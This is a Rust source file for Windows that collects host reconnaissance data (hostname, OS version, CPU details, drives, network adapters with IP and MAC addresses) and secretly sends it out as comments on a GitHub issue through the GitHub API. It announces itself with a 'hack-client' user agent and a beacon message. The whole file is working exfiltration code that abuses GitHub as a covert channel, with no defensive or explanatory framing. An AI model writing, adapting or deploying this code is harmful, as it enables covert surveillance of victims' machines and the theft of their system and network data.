/*
    Author: @5mukx
*/

use std::ptr::{self, null_mut};
use std::ffi::CStr;
use file::{MAX_COMPUTERNAME_LENGTH, WINHTTP_HEADER_NAME_BY_INDEX, WINHTTP_NO_HEADER_INDEX, WINHTTP_NO_PROXY_BYPASS, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_REFERER};
use winapi::ctypes::c_void;
use winapi::shared::winerror::ERROR_SUCCESS;
use winapi::um::iptypes::IP_ADAPTER_INFO;
use winapi::um::winhttp::*;
use winapi::um::errhandlingapi::GetLastError;
use winapi::um::winbase::*;
use winapi::um::sysinfoapi::{GetSystemInfo, GetVersionExA, SYSTEM_INFO};
use winapi::um::fileapi::GetLogicalDrives;
use winapi::um::iphlpapi::GetAdaptersInfo;
use winapi::um::winnt::OSVERSIONINFOA;

mod file;

const GITHUB_TOKEN: &str = "Your Github Token HEre";
const REPO_OWNER: &str = "Your Account username";
const REPO_NAME: &str = "your repo name";
// ISSUE NUMBER -> CREATE AN ISSUE in your Repo !
const ISSUE_NUMBER: &str = "1";

fn to_wide_string(s: &str) -> Vec<u16> {
    s.encode_utf16().chain(std::iter::once(0)).collect()
}

fn send_to_github(comment: &str) -> i32 {
    // Initialize WinHTTP session
    let user_agent = to_wide_string("UserAgent");
    let h_session = unsafe {
        WinHttpOpen(
            user_agent.as_ptr(),
            WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
            WINHTTP_NO_PROXY_NAME as *const u16,
            WINHTTP_NO_PROXY_BYPASS as *const u16,
            0,
        )
    };


    if h_session.is_null() {
        println!("WinHttpOpen failed: {}", unsafe { GetLastError() });
        return 1;
    }

    // convert to connect api.github.com
    let server_name = to_wide_string("api.github.com");
    let h_connect = unsafe {
        WinHttpConnect(
            h_session,
            server_name.as_ptr(),
            INTERNET_DEFAULT_HTTPS_PORT,
            0,
        )
    };
    if h_connect.is_null() {
        println!("WinHttpConnect failed: {}", unsafe { GetLastError() });
        unsafe { WinHttpCloseHandle(h_session) };
        return 1;
    }

    let url = format!("/repos/{}/{}/issues/{}/comments", REPO_OWNER, REPO_NAME, ISSUE_NUMBER);
    let url_wide = to_wide_string(&url);

    let verb = to_wide_string("POST");
    let h_request = unsafe {
        WinHttpOpenRequest(
            h_connect,
            verb.as_ptr(),
            url_wide.as_ptr(),
            ptr::null(),
            WINHTTP_NO_REFERER as *const u16,
            null_mut(),
            WINHTTP_FLAG_SECURE,
        )
    };


    if h_request.is_null() {
        println!("WinHttpOpenRequest failed: {}", unsafe { GetLastError() });
        unsafe { WinHttpCloseHandle(h_connect) };
        unsafe { WinHttpCloseHandle(h_session) };
        return 1;
    }

    let json_body = format!(r#"{{"body": "{}"}}"#, comment);
    let json_body_bytes = json_body.as_bytes();

    let headers = format!(
        "Authorization: Bearer {}\r\nUser-Agent: hack-client\r\nContent-Type: application/json\r\n",
        GITHUB_TOKEN
    );
    let headers_wide = to_wide_string(&headers);

    // Send the request
    let success = unsafe {
        WinHttpSendRequest(
            h_request,
            headers_wide.as_ptr(),
            -1i32 as u32, // Null-terminated headers
            json_body_bytes.as_ptr() as *mut c_void,
            json_body_bytes.len() as u32,
            json_body_bytes.len() as u32,
            0,
        )
    };


    if success == 0 {
        println!("WinHttpSendRequest failed: {}", unsafe { GetLastError() });
        unsafe { WinHttpCloseHandle(h_request) };
        unsafe { WinHttpCloseHandle(h_connect) };
        unsafe { WinHttpCloseHandle(h_session) };
        return 1;
    }

    let success = unsafe { 
        WinHttpReceiveResponse(h_request, ptr::null_mut()) 
    };


    if success == 0 {
        println!("WinHttpReceiveResponse failed: {}", unsafe { GetLastError() });
        unsafe { WinHttpCloseHandle(h_request) };
        unsafe { WinHttpCloseHandle(h_connect) };
        unsafe { WinHttpCloseHandle(h_session) };
        return 1;
    }

    let mut code: u32 = 0;
    let mut code_size = std::mem::size_of::<u32>() as u32;
    let success = unsafe {
        WinHttpQueryHeaders(
            h_request,
            WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
            WINHTTP_HEADER_NAME_BY_INDEX as *const u16,
            &mut code as *mut u32 as *mut c_void,
            &mut code_size,
            WINHTTP_NO_HEADER_INDEX as *mut u32,
        )
    };

    if success != 0 {
        if code == 201 {
            println!("comment posted successfully.");
        } else {
            println!("failed to post comment. HTTP Status Code: {}", code);
        }
    } else {
        println!("WinHttpQueryHeaders failed: {}", unsafe { GetLastError() });
    }

    unsafe {
        WinHttpCloseHandle(h_request);
        WinHttpCloseHandle(h_connect);
        WinHttpCloseHandle(h_session);
    }

    0
}

fn main() {

    let result = send_to_github("Hey. 5mukx here ! 5pidey sense tickles ...");
    if result != 0 {
        println!("Failed to send test message");
        return;
    }

    let mut system_info = String::new();

    // get the host name !

    let mut host_name = [0u8; MAX_COMPUTERNAME_LENGTH as usize + 1];
    let mut size = host_name.len() as u32;
    
    let success = unsafe { GetComputerNameA(host_name.as_mut_ptr() as *mut i8, &mut size) };
    
    if success == 0 {
        println!("GetComputerNameA failed: {}", unsafe { GetLastError() });
        return;
    }
    
    let host_name_str = std::str::from_utf8(&host_name[..size as usize]).unwrap_or("Unknown");
    system_info.push_str(&format!("Host Name: {}, ", host_name_str));

    let mut os_version: OSVERSIONINFOA = unsafe { std::mem::zeroed() };
    os_version.dwOSVersionInfoSize = std::mem::size_of::<OSVERSIONINFOA>() as u32;
    let success = unsafe { 
        GetVersionExA(&mut os_version as *mut _) 
    };

    if success == 0 {
        println!("GetVersionExA failed: {}", unsafe { GetLastError() });
        return;
    }

    system_info.push_str(&format!(
        "OS Version: {}.{}.{}, ",
        os_version.dwMajorVersion,
        os_version.dwMinorVersion,
        os_version.dwBuildNumber
    ));

    let mut sys_info: SYSTEM_INFO = unsafe { std::mem::zeroed() };
    unsafe { 
        GetSystemInfo(&mut sys_info);

        system_info.push_str(&format!(
            "Processor Architecture: {}, Number of Processors: {}, ",
            sys_info.u.s().wProcessorArchitecture,
            sys_info.dwNumberOfProcessors
        ));
    }

    let drives = unsafe { GetLogicalDrives() };
    system_info.push_str(&format!("Logical Drives: {:X}, ", drives));

    let mut adapter_info: [IP_ADAPTER_INFO; 16] = unsafe { std::mem::zeroed() };
    let mut adapter_info_size = std::mem::size_of_val(&adapter_info) as u32;
    let result = unsafe { GetAdaptersInfo(adapter_info.as_mut_ptr(), &mut adapter_info_size) };
    if result != ERROR_SUCCESS {
        println!("GetAdaptersInfo failed: {}", result);
        return;
    }

    let mut adapter = adapter_info.as_ptr();
    while !adapter.is_null() {
        let adapter_ref = unsafe { &*adapter };
        system_info.push_str(&format!(
            "Adapter Name: {}, IP Address: {}, Subnet Mask: {}, MAC Address: {:02X}-{:02X}-{:02X}-{:02X}-{:02X}-{:02X}, ",
            unsafe { CStr::from_ptr(adapter_ref.AdapterName.as_ptr() as *const i8).to_str().unwrap_or("Unknown") },
            unsafe { CStr::from_ptr(adapter_ref.IpAddressList.IpAddress.String.as_ptr() as *const i8).to_str().unwrap_or("Unknown") },
            unsafe { CStr::from_ptr(adapter_ref.IpAddressList.IpMask.String.as_ptr() as *const i8).to_str().unwrap_or("Unknown") },
            adapter_ref.Address[0], adapter_ref.Address[1], adapter_ref.Address[2],
            adapter_ref.Address[3], adapter_ref.Address[4], adapter_ref.Address[5]
        ));
        adapter = adapter_ref.Next; 
    }

    let result = send_to_github(&system_info);
    if result == 0 {
        println!("Hell Yeah..!");
    } else {
        println!("Oops..");
    }
}